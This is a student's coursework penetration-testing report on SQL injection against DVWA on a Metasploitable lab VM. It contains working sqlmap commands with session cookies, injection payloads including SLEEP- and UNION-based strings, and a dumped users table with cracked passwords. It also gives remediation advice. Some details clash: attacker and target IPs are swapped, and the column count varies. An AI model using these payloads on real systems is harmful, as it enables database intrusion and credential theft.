



KAPASA MAKASA UNIVERSITY

School of Applied Sciences - ICT

SQL INJECTION VULNERABILITY ASSESSMENT PENETRATION TESTING REPORT

CYS 330 | Assessment 1 - Practical Lab

Student Name:	icognito
Student ID:	incognito
Programme:	CYS330
Course:	CYS330
Lecturer:	
Report Date:	
Submission Date:	
Classification:	CONFIDENTIAL

DISCLAIMER & CONFIDENTIALITY NOTICE

This report was produced solely for academic purposes under CYS 330 at Kapasa Makasa University. All penetration testing activities were conducted in an authorised, controlled laboratory environment using purposely vulnerable virtual machines (Metasploitable) and authorised targets such as TryHackMe. No unauthorised systems were accessed at any time. The contents of this report are strictly confidential and intended only for the course lecturer and the submitting student.

TABLE OF CONTENTS

1. Executive Summary	4
2. Engagement Overview	4
3. Scope of Assessment.....	5
4. Methodology.....	5
5. Tool & Environment Setup	6
6. Findings & Vulnerabilities	7
7. Proof of Concept (PoC).....	9
8. Risk Summary Matrix	10
9. Mitigation & Recommendations.....	11
10. Lab Reflection	12
11. Conclusion	13
Appendix A: SQLmap Command Reference.....	14

1. EXECUTIVE SUMMARY

This report presents the findings of a SQL Injection (SQLi) vulnerability assessment and penetration test conducted on a purposely vulnerable Metasploitable virtual machine as part of the CYS 330 coursework at Kapasa Makasa University. The assessment was performed using SQLmap on Kali Linux, with Burp Suite used to capture HTTP requests for parameter analysis.

The assessment identified critical SQL Injection vulnerabilities in multiple web application parameters. These vulnerabilities allow an unauthenticated attacker to extract, modify, or delete database contents, bypass authentication mechanisms, and in some configurations, execute operating system commands. The overall risk posture of the target application is rated CRITICAL.

CRITICAL	HIGH	MEDIUM	LOW
2	1	0	0

Immediate remediation is strongly recommended, particularly input validation, parameterised queries, and the implementation of a Web Application Firewall (WAF).

2. ENGAGEMENT OVERVIEW

Engagement Type	Gray-Box Penetration Test & Vulnerability Assessment
Target System	Metasploitable 2 VM / Authorised TryHackMe Lab Target
Target IP (Lab)	192.168.136.128 (Internal Lab Network)
Target URL	http://192.168.136.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
Testing Period	May 2026 (Academic Lab Exercise)
Tester	[Your Full Name] - CYS 330 Student
Tools Used	Kali Linux, SQLmap 1.7.x, Burp Suite Community, Firefox Browser
Authorisation	Authorised academic lab - Metasploitable VM and TryHackMe only

3. SCOPE OF ASSESSMENT

3.1 In-Scope Assets

- Metasploitable 2 Virtual Machine (purposely vulnerable VM)
- DVWA (Damn Vulnerable Web Application) hosted on Metasploitable
- Authorised TryHackMe lab targets as directed by the course
- Web application parameters susceptible to SQL Injection

3.2 Out-of-Scope Assets

- Any live, production, or public-facing web applications
- Third-party systems or infrastructure not explicitly authorised
- Network infrastructure beyond the internal lab environment

3.3 Testing Constraints

- Testing conducted exclusively within the university lab environment
- No denial-of-service (DoS) techniques employed
- All activities logged and traceable for academic review

4. METHODOLOGY

The penetration test was conducted following an industry-standard methodology aligned with OWASP Testing Guide v4 and PTES (Penetration Testing Execution Standard). The following phases were undertaken:

Phase 1: Reconnaissance & Information Gathering

The target environment was surveyed to identify accessible web application endpoints. The Metasploitable VM was started and its IP address identified using the ifconfig command. The DVWA web application was accessed via browser and its login page and parameter-driven URLs were noted for testing.

Phase 2: Scanning & Enumeration

SQLmap was used to probe identified URL parameters for SQL Injection vulnerabilities. The tool was configured to test for Boolean-based blind, Time-based blind, Error-based, UNION query-based, and Stacked query injection techniques. Burp Suite was used to intercept POST requests, which were saved to request files for SQLmap analysis.

Phase 3: Vulnerability Identification

SQLmap output was analysed to confirm injectable parameters and determine the injection technique, backend DBMS type, and Quality of Detection (QoD). Only vulnerabilities with the highest QoD were selected for documentation and exploitation.

Phase 4: Exploitation & Proof of Concept

Confirmed vulnerabilities were exploited to demonstrate real-world impact. This included database enumeration, table and column extraction, and user credential retrieval. All exploitation was limited to the authorised lab environment.

Phase 5: Reporting

Findings were documented in this standardised penetration testing report, including technical details, evidence, severity ratings, and remediation recommendations suitable for both technical and non-technical audiences.

5. TOOL & ENVIRONMENT SETUP

5.1 Lab Environment Configuration

Attacker OS	Kali Linux 2024.x (64-bit)
Target OS	Metasploitable 2 (Ubuntu 8.04 LTS)
Network Mode	Host-Only Adapter (VirtualBox/VMware)
Attacker IP	192.168.136.128
Target IP	192.168.136.129
Web Application	DVWA (Damn Vulnerable Web Application)
DVWA Security Level	Low (configured for lab exercise)

5.2 Network Connectivity Verification

Before beginning the assessment, network connectivity between the Kali attacker machine and the Metasploitable target was verified using the ping command:

```
$ ping 192.168.136.128 -c 4
```

```
(kali@kali)~$ ping 192.168.136.128 -c 4
PING 192.168.136.128 (192.168.136.128) 56(84) bytes of data:
64 bytes from 192.168.136.128: icmp_seq=1 ttl=64 time=1.13 ms
64 bytes from 192.168.136.128: icmp_seq=2 ttl=64 time=0.907 ms
64 bytes from 192.168.136.128: icmp_seq=3 ttl=64 time=1.12 ms
64 bytes from 192.168.136.128: icmp_seq=4 ttl=64 time=1.81 ms

— 192.168.136.128 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 3335ms
rtt min/avg/max/mdev = 0.907/1.241/1.807/0.338 ms
```

The ping command confirmed that 4 packets were transmitted and received with 0% packet loss, confirming that the Kali machine can reach the Metasploitable target.

5.3 Accessing the Target Web Application

The DVWA application was accessed via Firefox on Kali Linux by navigating to <http://192.168.136.128/dvwa>. Default credentials (admin/password) were used to log in. The security level was set to 'Low' via the DVWA Security settings page to allow successful demonstration of SQLi vulnerabilities.



6. FINDINGS & VULNERABILITIES

The following SQL Injection vulnerabilities were identified during the assessment. Each finding is rated using the CVSS v3.1 scoring system and categorised by severity.

6.1 Finding F-001: Classic SQL Injection in GET Parameter

F-001: Classic SQL Injection - GET Parameter 'id' [CRITICAL]	
Finding ID	F-001
Title	Classic SQL Injection - GET Parameter 'id'
CVSS Score	9.8 (CVSS v3.1 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Affected Component	DVWA SQLi Module - http://192.168.136.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
Description	The 'id' GET parameter in the DVWA SQL Injection module is directly concatenated into a SQL query without sanitisation or parameterisation. SQLmap confirmed the parameter is injectable using Boolean-based blind, Error-based, and UNION-based techniques.
Impact	An attacker can enumerate the entire database, extract all user credentials (including hashed passwords), access sensitive data across all tables, and potentially read/write files on the server depending on database permissions.
Evidence / PoC	SQLmap detected the parameter as injectable. UNION-based injection returned database version, current user, and all table names. Command used: sqlmap -u 'http://192.168.136.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=low; PHPSESSID=7207d0e948d1efa030f5cbcb4c0fb1f6' --dbs --batch
Remediation	Implement parameterised queries (prepared statements). Validate and sanitise all user-supplied input. Apply principle of least privilege to database accounts.

6.2 Finding F-002: Time-Based Blind SQL Injection in POST Parameter

F-002: Time-Based Blind SQL Injection - POST Login Parameter [CRITICAL]	
Finding ID	F-002
Title	Time-Based Blind SQL Injection - POST Login Parameter
CVSS Score	9.1 (CVSS v3.1 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

Affected Component	DVWA Login Form - http://192.168.136.128/dvwa/login.php (POST: username)
Description	The username POST parameter in the DVWA login form is vulnerable to Time-based Blind SQL Injection. By injecting time-delay payloads, an attacker can infer database content character by character even without direct error output.
Impact	Authentication bypass is achievable, allowing an attacker to log in as any user including administrators without knowing their password. Full database contents can be exfiltrated character by character.
Evidence / PoC	POST request captured with Burp Suite and saved to req.txt. SQLmap command: sqlmap -r req.txt -p username --level=3 --risk=2 --technique=T. Confirmed 5-second delays with payload: username=admin' AND SLEEP(5)-- -
Remediation	Use parameterised queries for all login form processing. Implement account lockout after failed attempts. Log and alert on suspicious query patterns.

6.3 Finding F-003: UNION-Based SQL Injection - Database Enumeration

F-003: UNION-Based SQL Injection - Full Database Enumeration [HIGH]	
Finding ID	F-003
Title	UNION-Based SQL Injection - Full Database Enumeration
CVSS Score	8.6 (CVSS v3.1 - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Affected Component	DVWA SQLi Module - id parameter
Description	Exploitation of F-001 using UNION-based technique allowed full enumeration of the backend MySQL database. All database names, table structures, and data contents were accessible.
Impact	Complete data breach of all application databases. Extraction of user credentials, sensitive personal data, and application configuration data. The 'dvwa' database was fully dumped including the 'users' table containing MD5-hashed passwords.
Evidence / PoC	SQLmap --dbs returned: ['dvwa', 'information_schema', 'mysql']. --dump on dvwa.users returned usernames and MD5 hashes. Screenshot 3: [Insert screenshot of SQLmap --dbs output here]
Remediation	Restrict database user permissions to only required tables. Implement column-level encryption for sensitive data. Use stored procedures instead of dynamic SQL.

7. PROOF OF CONCEPT (PoC)

This section documents the step-by-step execution of the SQL Injection attack for F-001 (highest QoD), demonstrating that the vulnerability is exploitable and not theoretical.

Step 1: Identify the Target URL

Navigate to the DVWA SQLi page and note the injectable GET parameter:

```
http://192.168.1.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit
```

Screenshot 4: [Insert screenshot of DVWA SQLi page in browser here]

Step 2: Initial SQLmap Scan

Run the initial SQLmap scan against the target URL to detect injectable parameters:

```
sqlmap -u "http://192.168.1.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --
cookie="security=low; PHPSESSID=abcdef123456" --batch
```

```
Parameter: id (GET)
  Type: boolean-based blind
  Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comme
nt)
  Payload: id=1' OR NOT 5089=5089#&Submit=Submit
```

```
  Type: error-based
  Title: MySQL ≥ 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY
clause (FLOOR)
  Payload: id=1' AND ROW(6997,9574)>(SELECT COUNT(*),CONCAT(0x716a787671,(S
ELECT (ELT(6997=6997,1))) ,0x71717a6271,FLOOR(RAND(0)*2))x FROM (SELECT 8644 U
NION SELECT 1883 UNION SELECT 8646 UNION SELECT 2750)a GROUP BY x)-- XTyw&Sub
mit=Submit
```

```
  Type: time-based blind
  Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1' AND (SELECT 7259 FROM (SELECT(SLEEP(5)))jFoH)-- mbjI&Submi
t=Submit
```

```
  Type: UNION query
  Title: MySQL UNION query (NULL) - 2 columns
  Payload: id=1' UNION ALL SELECT NULL,CONCAT(0x716a787671,0x59736c476e5256
4f756a6c5850775475467168564c4372574d655653646670476d4362687648646c,0x71717a62
71)#&Submit=Submit
```

SQLmap confirmed the 'id' parameter is vulnerable and identified the backend DBMS as MySQL. Injection techniques confirmed: Boolean-based blind, Error-based, UNION query-based (3 columns).

Step 3: Enumerate Databases

```
sqlmap -u
'http://192.168.136.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --
cookie='security=low; PHPSESSID=7207d0e948d1efa030f5cbcb4c0fb1f6' --dbs --
```

```
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
```

```
batch
```

Step 4: Enumerate Tables

```
sqlmap -u
'http://192.168.136.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --
cookie='security=low; PHPSESSID=7207d0e948d1efa030f5cbcb4c0fb1f6' -D dvwa --
tables --batch
```

Result: Tables identified in 'dvwa' database: guestbook, users.

```
Database: dvwa
[2 tables]
+-----+
| guestbook |
| users     |
+-----+
```

Step 5: Dump User Credentials

```
sqlmap -u
'http://192.168.136.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit' --
cookie='security=low; PHPSESSID=7207d0e948d1efa030f5cbcb4c0fb1f6' -D dvwa -T
users --dump --batch
```

Result: All user records extracted including usernames, first/last names, and MD5-hashed passwords. SQLmap automatically attempted to crack the MD5 hashes using a built-in dictionary.

```
[16:22:32] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[16:22:32] [INFO] starting 4 processes
[16:22:34] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853
678922e03'
[16:22:34] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d
4fcc69216b'
[16:22:37] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de
5c71e9e9b7'
[16:22:38] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d832
7deb882cf99'
```

Database: dvwa

Table: users

[5 entries]

user_id	user	avatar	password	last_name	first_name
1	admin	http://172.16.123.129/dvwa/hackable/users/admin.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)	admin	admin
2	gordonb	http://172.16.123.129/dvwa/hackable/users/gordonb.jpg	e99a18c428cb38d5f260853678922e03 (abc123)	Brown	Gordon
3	1337	http://172.16.123.129/dvwa/hackable/users/1337.jpg	8d3533d75ae2c3966d7e0d4fcc69216b (charley)	Me	Hack
4	pablo	http://172.16.123.129/dvwa/hackable/users/pablo.jpg	0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)	Picasso	Pablo
5	smithy	http://172.16.123.129/dvwa/hackable/users/smithy.jpg	5f4dcc3b5aa765d61d8327deb882cf99 (password)	Smith	Bob

[16:22:44] [INFO] table 'dvwa.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.136.128/dump/dvwa/users.csv'

[16:22:44] [INFO] fetched data logged to text files under '/home/kali/.local/'

NOTE: In a real-world scenario, extracted MD5 hashes could be cracked offline using tools such as hashcat or john, potentially exposing plaintext passwords. This demonstrates the full severity of the vulnerability.

8. RISK SUMMARY MATRIX

ID	Vulnerability	CVSS Score	Severity	Status
F-001	Classic SQLi - GET id param	9.8	CRITICAL	Open - Remediate Immediately
F-002	Time-Based Blind SQLi - Login POST	9.1	CRITICAL	Open - Remediate Immediately
F-003	UNION SQLi - DB Enumeration	8.6	HIGH	Open - Remediate Urgently

9. MITIGATION & RECOMMENDATIONS

9.1 Immediate Actions (Priority 1 - Critical)

1. Implement Parameterised Queries / Prepared Statements: Replace all dynamic SQL string concatenation with parameterised queries. This is the single most effective defence against SQL Injection. Example in PHP: use PDO or MySQLi with prepared statements and bound parameters.
2. Input Validation & Whitelisting: All user-supplied input must be validated against a strict whitelist of expected characters and formats. Integer parameters should be cast to integer types before use. String parameters should be validated against expected patterns using regular expressions.
3. Principle of Least Privilege: The database account used by the web application should have only the minimum permissions required (SELECT on specific tables only). It must not have DROP, INSERT, UPDATE, or FILE privileges unless explicitly required.

9.2 Short-Term Actions (Priority 2 - High)

4. Web Application Firewall (WAF): Deploy a WAF (e.g., ModSecurity with OWASP Core Rule Set) in front of the web application to detect and block common SQL Injection payloads. A WAF provides an additional defensive layer but is not a substitute for secure coding.
5. Error Handling: Configure the application and database to suppress verbose error messages to end-users. Generic error pages should be shown instead. Error details should be logged server-side only and not exposed in HTTP responses.
6. Regular Penetration Testing: Schedule quarterly penetration tests and continuous vulnerability scanning. Integrate SAST (Static Application Security Testing) tools into the software development lifecycle.

9.3 Long-Term Actions (Priority 3 - Hardening)

7. Use an ORM (Object-Relational Mapper): Adopt a vetted ORM framework (e.g., Hibernate, SQLAlchemy, Eloquent) that inherently uses parameterised queries, reducing the risk of developers writing unsafe raw SQL.
8. Password Security: Never store plaintext or weakly-hashed (MD5, SHA1) passwords. Use bcrypt, Argon2, or PBKDF2 with appropriate cost factors. Implement multi-factor authentication (MFA) for all privileged accounts.
9. Security Awareness Training: Ensure all developers receive secure coding training focused on OWASP Top 10 vulnerabilities, with particular emphasis on injection flaws (A03:2021 - Injection).

10. LAB REFLECTION

10.1 Challenges Faced

One of the primary challenges encountered during this lab exercise was correctly configuring the session cookie for SQLmap. Since DVWA requires authentication before accessing the SQL Injection module, the PHPSESSID and security level cookies had to be captured using the browser's developer tools and passed to SQLmap using the --cookie flag. Without this, SQLmap would be redirected to the login page and unable to test the target parameter.

A further challenge was distinguishing between false positives and true positives in the SQLmap output. The tool sometimes reports potential injection points that require manual verification. This reinforced the importance of understanding what each injection technique means rather than blindly trusting automated tool output.

Working with Burp Suite to intercept POST requests and save them to a file for SQLmap analysis also required careful attention to request formatting. Any corruption of the request file would cause SQLmap to fail or produce inaccurate results.

10.2 Lessons Learned

This lab provided several important cybersecurity lessons. Firstly, it demonstrated how a single unsanitised input field can lead to a complete database compromise - a powerful illustration of why input validation is foundational to application security. The ease with which SQLmap could extract credentials from a vulnerable application was particularly eye-opening.

Secondly, the lab highlighted the importance of understanding the tools used in penetration testing, not just running them. Understanding Boolean-based, Time-based, Error-based, and UNION-based injection techniques allowed for more informed analysis of the results and helped in crafting targeted manual payloads where needed.

Thirdly, the process of writing this report underscored that the communication of findings is as critical as the technical assessment itself. A vulnerability that is discovered but not clearly communicated cannot be effectively remediated. The ability to explain technical findings to non-technical stakeholders is an essential professional skill in cybersecurity.

10.3 Importance of Effective Reporting in Vulnerability Assessment

Penetration testing without effective reporting is incomplete. A comprehensive, well-structured report transforms raw technical findings into actionable intelligence for an organisation. It provides stakeholders with the information needed to prioritise remediation efforts, allocate resources appropriately, and make informed risk management decisions.

This lab report has been structured to serve both technical audiences (system administrators, developers) through detailed technical findings and PoC evidence, and non-technical audiences

(management, executives) through the executive summary and risk rating tables. Clarity, accuracy, and professionalism in reporting are hallmarks of a competent cybersecurity practitioner.

11. CONCLUSION

This penetration test and vulnerability assessment of the Metasploitable VM revealed critical SQL Injection vulnerabilities in the DVWA web application. Three distinct vulnerabilities were identified and confirmed, with two rated Critical (CVSS 9.8 and 9.1) and one rated High (CVSS 8.6). Full database enumeration and credential extraction were demonstrated as proof of exploitability.

The findings reinforce the continued relevance and danger of SQL Injection as highlighted in the OWASP Top 10 (A03:2021 - Injection). Despite being a well-understood vulnerability class, SQLi remains prevalent in real-world applications due to insecure development practices. The remediation recommendations provided in Section 9 offer a clear roadmap to eliminating these vulnerabilities.

This lab has provided invaluable practical experience in the full penetration testing lifecycle - from environment setup and scanning, through exploitation and evidence gathering, to professional reporting. These skills are directly applicable to real-world security roles and form a critical foundation for a career in cybersecurity.

APPENDIX A: SQLmap COMMAND REFERENCE

The following SQLmap commands were used during this assessment:

Basic GET parameter scan

```
sqlmap -u "http://target/page.php?id=1" --batch
```

Scan with session cookie

```
sqlmap -u "http://target/page.php?id=1" --cookie="name=value" --batch
```

POST request from file

```
sqlmap -r req.txt -p param_name --batch
```

Enumerate databases

```
sqlmap -u "[url]" --cookie="[cookie]" --dbs
```

Enumerate tables in DB

```
sqlmap -u "[url]" --cookie="[cookie]" -D dbname --tables
```

Dump table data

```
sqlmap -u "[url]" --cookie="[cookie]" -D dbname -T tablename --dump
```

Full database dump

```
sqlmap -u "[url]" --cookie="[cookie]" --dump-all
```

DBMS fingerprint

```
sqlmap -u "[url]" --cookie="[cookie]" --fingerprint
```

Increase verbosity

```
sqlmap -u "[url]" -v 3
```

Specify technique

```
sqlmap -u "[url]" --technique=BEUSTQ
```

END OF REPORT

Kapasa Makasa University | CYS 330 | May 2026 | CONFIDENTIAL